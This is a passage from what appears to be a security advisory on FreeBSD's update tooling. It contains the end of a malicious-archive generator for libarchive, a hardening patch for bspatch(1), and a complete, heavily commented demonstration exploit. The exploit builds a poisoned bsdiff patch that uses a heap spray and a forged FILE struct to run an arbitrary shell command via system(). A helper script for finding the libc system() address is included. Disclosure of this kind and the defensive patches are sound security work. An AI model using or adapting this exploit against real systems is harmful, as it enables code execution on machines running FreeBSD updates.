main(int argc, char *argv[])
{
if (argc != 5) {
fprintf(stderr, "Usage: %s archive file pathname linkname\n", argv[0]);
fprintf(stderr, "\tarchive output malicious archive here\n");
fprintf(stderr, "\tfile file containing overwrite data\n");
fprintf(stderr, "\tpathname archive-entry pathname\n");
fprintf(stderr, "\tlinkname archive-entry linkname\n");
fprintf(stderr, "\t [can use ../ in linkname]\n");
return EXIT_FAILURE;
}
make_archive(argv[1], argv[2], argv[3], argv[4]);
return 0;
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
{Defense}
POSIX requires that hard links point at only extracted items, though the
possibility that a hard link can use a previously extracted symlink as a target
and escape the extraction directory should be borne in mind.
It seems a good idea to excise the data-payload functionality, which is not a
mandatory POSIX feature and which does not seem to be widely supported anyway.
Look for the lines beginning
} else if (r == 0 && a->filesize > 0) {
in create_filesystem_object() in libarchive/archive_write_disk_posix.c.
/=========\
| BSPATCH |
\=========/
{Description}
The bspatch(1) utility is executed before SHA256 verification in both
freebsd-update(8) and portsnap(8).
It contains a memory-corruption vulnerability that allows highly reliable
exploitation across system builds, defeating all exploit-mitigation features
found in FreeBSD.
The demonstration exploit contains copious comments providing a detailed
analysis of the vulnerability.
{Defense}
The patch below hardens bspatch(1). Notes on the patch:
- Additional checks are added, but the original checks remain. Hence, the
patched bspatch(1) is observably at least as secure as the original.
- Some of the checks may not be practically -- or even at all -- necessary,
but this will not always be immediately obvious, so the checks serve the
purpose of self-documented constraints. They also guard against future
changes, aggressive compiler optimizations, etc.
- Some of the checks could be made earlier, at the cost of clarity.
- It is assumed that empty files are pathological.
- It is assumed that only ctrl[2] is permitted to be negative, not ctrl[0]
and ctrl[1].
- The checks against SSIZE_MAX rather than SIZE_MAX are consistent with
the original code and provide greater clarity, being a fully signed
comparison.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
@@ -27,7 +27,10 @@
#include <sys/cdefs.h>
__FBSDID("$FreeBSD$");
+#include <assert.h>
#include <bzlib.h>
+#include <limits.h>
+#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
@@ -63,8 +66,8 @@
BZFILE * cpfbz2, * dpfbz2, * epfbz2;
int cbz2err, dbz2err, ebz2err;
int fd;
- ssize_t oldsize,newsize;
- ssize_t bzctrllen,bzdatalen;
+ off_t oldsize,newsize;
+ off_t bzctrllen,bzdatalen;
u_char header[32],buf[8];
u_char *old, *new;
off_t oldpos,newpos;
@@ -72,6 +75,8 @@
off_t lenread;
off_t i;
+ assert(OFF_MAX >= INT64_MAX);
+
if(argc!=4) errx(1,"usage: %s oldfile newfile patchfile\n",argv[0]);
/* Open patch file */
@@ -107,8 +112,10 @@
bzctrllen=offtin(header+8);
bzdatalen=offtin(header+16);
newsize=offtin(header+24);
- if((bzctrllen<0) || (bzdatalen<0) || (newsize<0))
- errx(1,"Corrupt patch\n");
+ if((bzctrllen<0) || (bzctrllen>OFF_MAX-32) ||
+ (bzdatalen<0) || (bzctrllen+32>OFF_MAX-bzdatalen) ||
+ (newsize<=0) || (newsize>SSIZE_MAX))
+ errx(1,"Corrupt patch\n");
/* Close patch file and re-open it via libbzip2 at the right places */
if (fclose(f))
@@ -136,12 +143,13 @@
errx(1, "BZ2_bzReadOpen, bz2err = %d", ebz2err);
if(((fd=open(argv[1],O_RDONLY|O_BINARY,0))<0) ||
- ((oldsize=lseek(fd,0,SEEK_END))==-1) ||
- ((old=malloc(oldsize+1))==NULL) ||
+ ((oldsize=lseek(fd,0,SEEK_END))<=0) ||
+ (oldsize>SSIZE_MAX) ||
+ ((old=malloc(oldsize))==NULL) ||
(lseek(fd,0,SEEK_SET)!=0) ||
(read(fd,old,oldsize)!=oldsize) ||
(close(fd)==-1)) err(1,"%s",argv[1]);
- if((new=malloc(newsize+1))==NULL) err(1,NULL);
+ if((new=malloc(newsize))==NULL) err(1,NULL);
oldpos=0;newpos=0;
while(newpos<newsize) {
@@ -152,18 +160,23 @@
(cbz2err != BZ_STREAM_END)))
errx(1, "Corrupt patch\n");
ctrl[i]=offtin(buf);
- };
+ }
/* Sanity-check */
- if(newpos+ctrl[0]>newsize)
- errx(1,"Corrupt patch\n");
+ if((ctrl[0]<0) || (ctrl[0]>INT_MAX) ||
+ (newpos>OFF_MAX-ctrl[0]) || (newpos+ctrl[0]>newsize))
+ errx(1,"Corrupt patch\n");
- /* Read diff string */
+ /* Read diff string - 4th arg converted to int */
lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos, ctrl[0]);
if ((lenread < ctrl[0]) ||
((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END)))
errx(1, "Corrupt patch\n");
+ /* Sanity-check */
+ if(oldpos>OFF_MAX-ctrl[0])
+ errx(1,"Corrupt patch\n");
+
/* Add old data to diff string */
for(i=0;i<ctrl[0];i++)
if((oldpos+i>=0) && (oldpos+i<oldsize))
@@ -174,19 +187,25 @@
oldpos+=ctrl[0];
/* Sanity-check */
- if(newpos+ctrl[1]>newsize)
- errx(1,"Corrupt patch\n");
+ if((ctrl[1]<0) || (ctrl[1]>INT_MAX) ||
+ (newpos>OFF_MAX-ctrl[1]) || (newpos+ctrl[1]>newsize))
+ errx(1,"Corrupt patch\n");
- /* Read extra string */
+ /* Read extra string - 4th arg converted to int */
lenread = BZ2_bzRead(&ebz2err, epfbz2, new + newpos, ctrl[1]);
if ((lenread < ctrl[1]) ||
((ebz2err != BZ_OK) && (ebz2err != BZ_STREAM_END)))
errx(1, "Corrupt patch\n");
+ /* Sanity-check */
+ if((ctrl[2]<0) ?
+ (oldpos<OFF_MIN-ctrl[2]) : (oldpos>OFF_MAX-ctrl[2]))
+ errx(1,"Corrupt patch\n");
+
/* Adjust pointers */
newpos+=ctrl[1];
oldpos+=ctrl[2];
- };
+ }
/* Clean up the bzip2 reads */
BZ2_bzReadClose(&cbz2err, cpfbz2);
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
{Demonstration}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
/*
* bspatch(1) demo exploit (i386 version)
*
* The bspatch(1) utility is executed before SHA256 verification in both
* freebsd-update(8) and portsnap(8).
*
* FreeBSD countermeasures defeated:
*
* SSP (-all): yes (heap-based)
* DEP: yes (call2libc, single-address entropy via
* - amd64 native NX ~2GB bzip2-compressed dual heap spray)
* - i386 via PAE/PAE_TABLES
* RELRO (full): yes (RELRO-protected sections untouched)
* ASLR: no (ASLR not in stock FreeBSD yet)
*
* $ cc -o bsx bsx.c -lbz2
* $ # the script included below
* $ ./sys.sh
* 0x283A1660
* $ # patch generation takes ~3 mins on modest hardware
* $ ./bsx patch 0x283A1660 "echo boom"
* $ # any file will do
* $ cp /bin/ls .
* $ # heap-spray decompression takes ~10 secs
* $ bspatch ls new patch
* boom
* bspatch: Corrupt patch
*/
/*
#!/bin/sh
# Grabs the local system() address for argv[2]
LIBCINFO=`ldd -f '%o\t%p\t%x\n' "$(which bspatch)" | grep '^libc'`
LIBCP=`echo "$LIBCINFO" | cut -f2`
LIBCB=`echo "$LIBCINFO" | cut -f3 | sed 's/^0x//'`
LIBCS=`nm -PD "$LIBCP" | grep '^system ' | cut -f3 -d' ' | tr 'a-f' 'A-F'`
echo 'obase=16; ibase=16; '"$LIBCB"' + '"$LIBCS" | bc | sed 's/^/0x/'
*/
#include <sys/types.h>
#include <assert.h>
#include <bzlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
unsigned char *buf;
size_t len;
} BadPatch_Block;
typedef struct {
const char *cmd;
uint32_t system_addr;
unsigned char header[32];
BadPatch_Block cblock;
BadPatch_Block dblock;
BadPatch_Block eblock;
} BadPatch;
static void u32_buf(uint32_t u32, unsigned char *buf);
static int64_t i64_clr_bit(int64_t i64, int bit);
static void i64_sgnmag_buf(int64_t i64, unsigned char *sgnmag_buf);
static int badpatch_gen_header(BadPatch *bp);
static int badpatch_gen_cblock(BadPatch *bp);
static int badpatch_gen_dblock(BadPatch *bp);
static int badpatch_gen_eblock(BadPatch *bp);
BadPatch *badpatch_create(uint32_t system_addr, const char *cmd);
void badpatch_serialize(BadPatch *bp, int fd);
void badpatch_destroy(BadPatch *bp);
static void
u32_buf(uint32_t u32, unsigned char *buf)
{
int i;
for (i = 0; i < 4; i++) {
buf[i] = u32 & 0xff;
u32 >>= 8;
}
}
static int64_t
i64_clr_bit(int64_t i64, int bit)
{
assert(1 <= bit && bit <= 64);
return i64 & ~((bit == 64) ? INT64_MIN : ((int64_t)1 << (bit - 1)));
}
/* Patches use sign-magnitude representation. */
static void
i64_sgnmag_buf(int64_t i64, unsigned char *sgnmag_buf)
{
int i, sgn;
assert(i64 != INT64_MIN);
if ((sgn = i64 < 0)) i64 = -i64;
for (i = 0; i < 8; i++) {
sgnmag_buf[i] = i64 & 0xff;
i64 >>= 8;
}
if (sgn) sgnmag_buf[7] |= 0x80;
}
static int
badpatch_gen_header(BadPatch *bp)
{
memcpy(bp->header, "BSDIFF40", 8);
i64_sgnmag_buf(bp->cblock.len, bp->header + 8);
i64_sgnmag_buf(bp->dblock.len, bp->header + 16);
/*
* We claim the new-file size is 0x7fffffff bytes so that we can spray
* 0x7fffffff - 1 = 0x7ffffffe bytes of data and not have the main loop
* terminate prematurely. The additional byte will be used for a d-block
* junk write, and bspatch(1)'s own additional byte will remain unused.
*/
i64_sgnmag_buf(0x7fffffff, bp->header + 24);
return 0;
}
static int
badpatch_gen_cblock(BadPatch *bp)
{
/*
* The heap profile (ignoring the base chunk) consists entirely of unfreed
* large-class allocations, all page contiguous:
*
* |hhh|sb1|bz1|ds1|sb2|bz2|ds2|sb3|bz3|ds3|ooo|tv1|tv2|tv3|NNN|
*
* hhh 3 pages contains arena_chunk_t header
* sb1 4 pages patch c-block: 16,384-byte stdio buffer
* bz1 2 pages patch c-block: bzFile struct
* ds1 16 pages patch c-block: DState struct
* sb2 4 pages patch d-block: 16,384-byte stdio buffer
* bz2 2 pages patch d-block: bzFile struct
* ds2 16 pages patch d-block: DState struct
* sb3 4 pages patch e-block: 16,384-byte stdio buffer
* bz3 2 pages patch e-block: bzFile struct
* ds3 16 pages patch e-block: DState struct
* tv1 98 pages patch c-block: BWT T-vector and block data
* tv2 98 pages patch d-block: BWT T-vector and block data
* tv3 98 pages patch e-block: BWT T-vector and block data
* ooo ? pages old-file buffer we don't necessarily control;
* plenty of room for it in the current chunk in the
* vast majority of cases
* NNN ? pages new-file buffer we control; can be positioned
* behind tv2 and tv3 by using 900k*4 compression
* to bump up the tv[1-3] page count, but this buys
* little
*
* There's no way to force jemalloc to position our new-file buffer
* _behind_ the useful heap data, so we manipulate 'newpos' within
* bspatch(1) to get to that data. Execution hijack is then via a poisoned
* FILE handle internal to the c-block bzFile struct (bz1) at struct
* offset 0.
*
* NNN will be ~2GB (RLIMIT_AS/RLIMIT_VMEM is unlimited by default). The
* first purpose of this huge-class allocation is to force a new 4MB
* chunk, which, given the highly deterministic behavior of calls to
* mmap(NULL, ...) -- and the fixed sizes of the stdio buffers and of the
* arena_chunk_t header in the previous chunk -- allows us to calculate a
* reliable value that's independent of the size of the old-file buffer and
* other heap noise: We just subtract 7 pages (hhh + sb1 = 7 pages) from
* 4MB to get the value (NNN - bz1), which negated becomes our delta value.
* This delta value will end up in the bspatch(1) 'newpos' variable after
* some arithmetic acrobatics.
*/
static const int64_t delta = -(0x400000 - 0x7000);
static unsigned char tuples[48];
unsigned len;
len = 1024;
if (!(bp->cblock.buf = malloc(len))) {
perror("badpatch_gen_cblock()");
return 1;
}
/*
* Here's the vulnerable code in bspatch.c (comments removed):
*
* oldpos=0;newpos=0;
* while(newpos<newsize) {
* for(i=0;i<=2;i++) {
* lenread = BZ2_bzRead(&cbz2err, cpfbz2, buf, 8);
* if ((lenread < 8) || ((cbz2err != BZ_OK) &&
* (cbz2err != BZ_STREAM_END)))
* errx(1, "Corrupt patch\n");
* ctrl[i]=offtin(buf);
* };
*
* if(newpos+ctrl[0]>newsize)
* errx(1,"Corrupt patch\n");
*
* lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos, ctrl[0]);
* if ((lenread < ctrl[0]) ||
* ((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END)))
* errx(1, "Corrupt patch\n");
*
* for(i=0;i<ctrl[0];i++)
* if((oldpos+i>=0) && (oldpos+i<oldsize))
* new[newpos+i]+=old[oldpos+i];
*
* newpos+=ctrl[0];
* oldpos+=ctrl[0];
*
* if(newpos+ctrl[1]>newsize)
* errx(1,"Corrupt patch\n");
*
* lenread = BZ2_bzRead(&ebz2err, epfbz2, new + newpos, ctrl[1]);
* if ((lenread < ctrl[1]) ||
* ((ebz2err != BZ_OK) && (ebz2err != BZ_STREAM_END)))
* errx(1, "Corrupt patch\n");
*
* newpos+=ctrl[1];
* oldpos+=ctrl[2];
* };
*
* We control the 64-bit off_t values in ctrl[] and want 'newpos' to
* contain our delta value (a negative value), but there are some problems.
*
* The first problem is that placing our delta in ctrl[0] (or ctrl[1])
* will easily bypass bspatch(1)'s own sanity checks but not those of
* BZ2_bzRead(), which checks for negative values, resulting in an
* immediate return to the caller, then termination. Note, however, that
* this bz2 function expects an int, so these off_t values get truncated to
* a 32-bit int on both i386 and amd64. As long as the off_t values are
* sign-bit clean for an int, we can use any off_t values we like. To get
* our desired delta value, we use the following equation based
* on off_t values:
*
* delta (32nd bit set) = delta (32nd bit clear) + 0x7ffffffe + 2
*
* The second problem is that if our off_t values are positive (such as
* 0x7ffffffe), we actually have to deliver that much data to satisfy the
* 'lenread' check (the bzip2 compression helps), which is the second
* purpose of the ~2GB allocation. If, however, the off_t values are
* negative, that check is easily satisfied, and we can simply ensure a
* BZ_OK or BZ_STREAM_END return to avoid termination, a fact we exploit to
* avoid having to deliver int-truncated "delta (32nd bit clear)" bytes of
* data into the now-cramped address space on i386.
*
* Here's the sequence of c-block tuples and events:
*
* 1st loop iteration: (0, 0x7ffffffe, 0)
*
* ctrl[0] == 0
* effectively a no-op
* using ctrl[1] avoids the slow, somewhat destructive for-loop
* ctrl[1] == 0x7ffffffe
* sanity check OK: 0 + 0x7ffffffe < 0x7fffffff
* sign-bit clean for int, satisfying BZ2_bzRead() check
* heap-sprays 0x7ffffffe bytes of data from e-block
* 'lenread' check OK: 0x7ffffffe == 0x7ffffffe
* bumps 'newpos' from 0 to 0x7ffffffe
* ctrl[2] == 0
* another no-op
*
* 2nd loop iteration: (delta_sign_bit_clear + 2, 5020, 0)
*
* ctrl[0] == delta_sign_bit_clear + 2 (negative value)
* sanity check OK: 0x7ffffffe + (negative value) < 0x7fffffff
* sign-bit clean for int, satisfying BZ2_bzRead() check
* reads a junk byte from d-block, returning BZ_STREAM_END
* 'lenread' check OK: 1 > (negative value)
* BZ_STREAM_END avoids termination (but kills bz2 stream, which
* is why we can't repeatedly use this trick)
* for-loop avoided: 0 > (negative value)
* drops 'newpos' from 0x7ffffffe to the desired delta value, per
* the equation given earlier
* ctrl[1] == 5020
* sanity check OK: (negative value) + 5020 < 0x7fffffff
* reads in 5020 bytes of data from e-block
* corrupts c-block management data beginning at new[delta]
* 'lenread' check OK: 5020 == 5020
* bumps 'newpos' up 5020 (insignificant)
* ctrl[2] == 0
* another no-op
*
* 3rd loop iteration:
*
* tries to read more data from c-block via BZ2_bzRead()
* hijack chain triggered because of corrupted management data
*/
i64_sgnmag_buf(0x7ffffffe, tuples + 8);
i64_sgnmag_buf(i64_clr_bit(delta, 32) + 2, tuples + 24);
i64_sgnmag_buf(5020, tuples + 32);
if (BZ2_bzBuffToBuffCompress((char *)bp->cblock.buf, &len, (char *)tuples,
sizeof tuples, 1, 0, 0) != BZ_OK) {
fputs("badpatch_gen_cblock(): compression failure\n", stderr);
return 1;
}
bp->cblock.len = len;
return 0;
}
static int
badpatch_gen_dblock(BadPatch *bp)
{
static unsigned char junk[1];
unsigned len;
len = 1024;
if (!(bp->dblock.buf = malloc(len))) {
perror("badpatch_gen_dblock()");
return 1;
}
if (BZ2_bzBuffToBuffCompress((char *)bp->dblock.buf, &len, (char *)junk,
sizeof junk, 1, 0, 0) != BZ_OK) {
fputs("badpatch_gen_dblock(): compression failure\n", stderr);
return 1;
}
bp->dblock.len = len;
return 0;
}
static int
badpatch_gen_eblock(BadPatch *bp)
{
/*
* The third purpose of the ~2GB allocation is a dual heap spray that
* effectively reduces exploitation entropy to a single system() address,
* which should be consistent across builds.
*
* The low-spray pattern is a fake FILE struct allowing a hijack to occur
* within libc's _sread():
*
* |----- libbz2 -----|------------------ libc -----------------|
* BZ2_bzRead->myfeof->fgetc->__sgetc->__srget->__srefill->_sread
*
* (*fp->_read)(fp->_cookie, buf, n);
*
* The use of _cookie allows easy argument passing to system() straight
* from the heap, without the need for ROP gadgets.
*
* Important FILE fields:
*
* _r 0 is good enough; __sgetc() macro will call __srget():
* __sgetc(p) (--(p)->_r < 0 ? __srget(p) : (int)(*(p)->_p++))
* This is also why a 16-byte pattern won't work -- we don't want
* the _read field, with its positive system() address, to be
* overloaded as the _r field.
*
* _flags 0x0010 satisfies ferror() and ensures smooth sailing in
* __srefill(); __SRW set; __SERR, __SEOF, __SRD, __SWR, __SLBF,
* __SNBF unset.
*
* _bf._base 0x1 ensures more smooth sailing in __srefill().
*
* _cookie 0x88888888 is the high-spray address, passed to system().
*
* _read 0x41414141 is the placeholder for the system() address.
*
* This may seem hairy, as if there are 63/64 ways for things to go wrong,
* but the desired entry point is a virtual certainty, for reasons
* explained below.
*
* (The alternative hijack via 'bzfree' and 'opaque' in bz_stream requires
* too much heap management -- minimally, restoring a BWT T-vector and a
* pointer, thus increasing exploitation entropy to two absolute addresses
* instead of one.)
*/
static const unsigned long lo_spray_system_addr_off = 40;
static unsigned char lo_spray[64] =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x88\x88\x88\x88\x00\x00\x00\x00\x41\x41\x41\x41\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
static unsigned char hi_spray[100000];
static unsigned char bzFile_poison[5020];
unsigned char *full_payload;
unsigned long i;
unsigned len;
u32_buf(bp->system_addr, lo_spray + lo_spray_system_addr_off);
/*
* The high-spray pattern is the sh -c command string. We drop it on top of
* 100k spaces with NUL termination to stay well clear of ARG_MAX/E2BIG.
* Then we repeat the pattern for around 1GB. We'd have to be extremely
* unlucky not to hit a space at 0x88888888.
*/
memset(hi_spray, ' ', sizeof hi_spray);
strcpy((char *)hi_spray + sizeof hi_spray - strlen(bp->cmd) - 1, bp->cmd);
/*
* We'll poison bzFile's internal FILE handle with the low-spray address
* 0x44444444, which seems arbitrary but is tactically sound: jemalloc
* chunks are 4MB-aligned, which means their starting addresses are
* congruent modulo 64 to the address 0x44444440 -- i.e., our 64-byte
* low-spray pattern should begin anew there, given that huge-class
* allocations lack arena overhead and begin at chunk boundaries.
* 0x44444444 is obviously more aesthetically pleasing than 0x44444440, so
* we offset our FILE struct 4 bytes into the 64-byte pattern.
*
* The remainder of the poisoning buffer consists of NULs. This is because
* we want bzf->strm.avail_in to be 0 so that BZ2_bzRead() kicks off the
* execution chain given earlier, beginning at myfeof():
*
* if (bzf->strm.avail_in == 0 && !myfeof(bzf->handle))
*
*/
memcpy(bzFile_poison, "\x44\x44\x44\x44", 4);
/* Ugh, libbz2 interface. Ignore compiler, POSIX has sane UINT_MAX. */
len = 10000000;
if (!(bp->eblock.buf = malloc(len))) {
perror("badpatch_gen_eblock()");
return 1;
}
if (!(full_payload = malloc(0x7ffffffeUL + sizeof bzFile_poison))) {
perror("badpatch_gen_eblock()");
return 1;
}
memset(full_payload, 0, 0x7ffffffeUL + sizeof bzFile_poison);
for (i = 0; i <= 0x40000000 - sizeof lo_spray; i += sizeof lo_spray)
memcpy(full_payload + i, lo_spray, sizeof lo_spray);
for (; i <= 0x7ffffffe - sizeof hi_spray; i += sizeof hi_spray)
memcpy(full_payload + i, hi_spray, sizeof hi_spray);
memcpy(full_payload + 0x7ffffffe, bzFile_poison, sizeof bzFile_poison);
if (BZ2_bzBuffToBuffCompress((char *)bp->eblock.buf, &len,
(char *)full_payload, 0x7ffffffeUL + sizeof bzFile_poison,
1, 0, 0) != BZ_OK) {
fputs("badpatch_gen_eblock(): compression failure\n", stderr);
free(full_payload);
return 1;
}
bp->eblock.len = len;
free(full_payload);
return 0;
}
BadPatch *
badpatch_create(uint32_t system_addr, const char *cmd)
{
BadPatch *bp;
if (!(bp = malloc(sizeof *bp))) {
perror("badpatch_create()");
return NULL;
}
bp->system_addr = system_addr;
bp->cmd = cmd;
bp->cblock.buf = NULL;
bp->dblock.buf = NULL;
bp->eblock.buf = NULL;
if (badpatch_gen_cblock(bp) || badpatch_gen_dblock(bp) ||
badpatch_gen_eblock(bp) || badpatch_gen_header(bp)) {
badpatch_destroy(bp);
return NULL;
}
return bp;
}
void
badpatch_serialize(BadPatch *bp, int fd)
{
write(fd, bp->header, sizeof bp->header);
write(fd, bp->cblock.buf, bp->cblock.len);
write(fd, bp->dblock.buf, bp->dblock.len);
write(fd, bp->eblock.buf, bp->eblock.len);
}
void
badpatch_destroy(BadPatch *bp)
{
if (bp) {
if (bp->cblock.buf) free(bp->cblock.buf);
if (bp->dblock.buf) free(bp->dblock.buf);
if (bp->eblock.buf) free(bp->eblock.buf);
free(bp);
}
}
int
main(int argc, char *argv[])
{
int fd;
const char *filename, *cmd;
uint32_t system_addr;
BadPatch *bp;
if (argc < 2) {
fprintf(stderr, "Usage: %s filename [system_addr] [cmd]\n", argv[0]);
fprintf(stderr, "\tfilename output malicious patch file here\n");
fprintf(stderr, "\tsystem_addr system() address for target build\n");
fprintf(stderr, "\t [default: 0x41414141 crash demo]\n");
fprintf(stderr, "\tcmd sh -c command string\n");
fprintf(stderr, "\t [default: date(1)]\n");
return EXIT_FAILURE;
}
filename = argv[1];
system_addr = (argc > 2) ? strtoul(argv[2], NULL, 16) : 0x41414141;
cmd = (argc > 3) ? argv[3] : "date";
if ((fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0640)) == -1) {
perror("open()");
return EXIT_FAILURE;
}
if (!(bp = badpatch_create(system_addr, cmd))) {
fputs("patch creation failed\n", stderr);
close(fd);
return EXIT_FAILURE;
}
badpatch_serialize(bp, fd);
badpatch_destroy(bp);
close(fd);
return 0;
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment